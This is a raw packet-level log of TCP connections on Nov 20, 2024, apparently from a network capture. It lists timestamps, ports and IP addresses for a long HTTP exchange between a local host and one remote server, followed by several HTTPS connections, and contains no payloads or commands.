Nov 20, 2024 13:27:35.850544930 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850553036 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850569010 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850584984 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850805044 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850816965 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850826979 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850846052 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850857019 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850867033 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850877047 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850881100 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850888014 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850899935 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850907087 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850910902 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850922108 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850923061 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850934982 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850945950 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850945950 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850958109 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850969076 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.850970030 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850982904 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.850991011 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851011038 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851022959 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851025105 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851035118 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851046085 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851056099 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851057053 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851067066 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851079941 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851084948 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851094961 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851097107 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851136923 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851152897 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851156950 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851165056 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851176977 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851188898 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851197958 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851198912 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851208925 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851222992 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851233006 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851264954 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851288080 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851411104 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851422071 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851433039 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851444006 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851454020 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851463079 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851465940 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851486921 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.851490974 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.851748943 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.869520903 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877624989 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877638102 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877650023 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877660036 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877671957 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877682924 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877715111 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877727985 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877757072 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877768993 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877779961 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877789974 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877800941 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877808094 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877814054 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877825022 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877830982 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877851009 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877903938 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877917051 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877929926 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877943039 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877954006 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877954960 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.877979994 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.877991915 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878036022 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878047943 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878058910 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878070116 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878078938 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878082037 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878103018 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878228903 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878242016 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878252029 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878268003 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878277063 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878279924 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878300905 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878305912 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878320932 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878395081 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878407955 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878418922 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878431082 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878447056 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878459930 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878568888 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878581047 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878592014 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878604889 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878616095 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878621101 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878628969 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878628969 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878642082 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878654957 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878659010 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878667116 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878678083 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878684044 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878690958 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878711939 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878742933 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878772020 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878783941 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878796101 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878807068 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878818989 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878824949 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878829956 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878834963 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878842115 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878854036 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878866911 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878901005 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.878930092 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878942013 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878954887 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878968000 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878979921 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.878982067 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879008055 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879091024 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879102945 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879113913 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879125118 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879127979 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879137039 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879137993 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879149914 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879162073 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879173994 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879184961 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879189968 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879199028 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879209995 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879215002 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879235029 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879247904 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879280090 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879291058 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879302979 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879322052 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879328012 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879333973 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879354954 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879420042 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879429102 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879441977 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879452944 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879463911 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879476070 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879481077 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879487991 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879503012 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879537106 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879580021 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879590988 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879627943 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879719019 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879739046 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879750013 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879776955 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.879861116 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879872084 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879883051 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879894972 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.879924059 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880022049 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880033016 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880044937 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880054951 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880063057 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880067110 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880079985 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880086899 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880090952 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880105019 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880109072 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880116940 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880139112 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880165100 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880193949 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880204916 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880217075 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880229950 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880239964 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880275011 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880338907 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880352020 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880362988 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880374908 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880386114 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880397081 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880400896 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880409002 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880422115 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880431890 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880433083 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880441904 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880454063 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880532980 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880546093 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880557060 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880568981 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880584955 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880585909 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880599976 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880604982 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880611897 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880615950 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880645037 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880688906 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880701065 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880712986 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880723953 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880729914 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880734921 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880747080 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880759001 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880764961 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880769968 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880780935 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880781889 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880808115 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880815029 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880827904 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880837917 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880850077 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880853891 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880862951 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.880877018 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.880901098 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881020069 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881031990 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881042004 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881052971 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881069899 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881083012 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881166935 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881179094 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881191015 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881201982 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881218910 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881264925 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881299019 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881310940 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881323099 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881335974 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881346941 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881350994 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881359100 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881369114 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881376028 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881382942 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881400108 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881422997 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.881464958 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881477118 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881491899 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.881535053 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.940013885 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.941129923 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:48.713639021 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:48.713692904 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:48.713778019 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:48.714351892 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:48.714365959 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:49.351000071 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:49.351778984 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:49.351794004 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:49.352941036 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:49.353141069 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:49.354773045 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:49.354860067 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:49.505800009 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:49.505820990 CET	443	49730	142.250.185.164	192.168.2.8
Nov 20, 2024 13:27:49.660566092 CET	49730	443	192.168.2.8	142.250.185.164
Nov 20, 2024 13:27:49.982381105 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:50.593327999 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:50.593372107 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:50.593549013 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:50.593889952 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:50.593903065 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:50.593998909 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:50.594252110 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:50.594258070 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:50.595098972 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:50.595129967 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:50.644556999 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:50.644586086 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:50.644665956 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:50.646262884 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:50.646275997 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.249502897 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.249809027 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.249823093 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.251082897 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.251137972 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.252423048 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.252626896 CET	49736	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.252902985 CET	443	49736	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.263921022 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.264374018 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.264384985 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.265707970 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.265769958 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.267054081 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.267144918 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.267291069 CET	49735	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:27:51.267299891 CET	443	49735	13.107.246.45	192.168.2.8
Nov 20, 2024 13:27:51.340004921 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.340092897 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.342411041 CET	49737	443	192.168.2.8	184.28.90.27
Nov 20, 2024 13:27:51.342430115 CET	443	49737	184.28.90.27	192.168.2.8
Nov 20, 2024 13:27:51.342694998 CET	443	49737	184.28.90.27	192.168.2.8
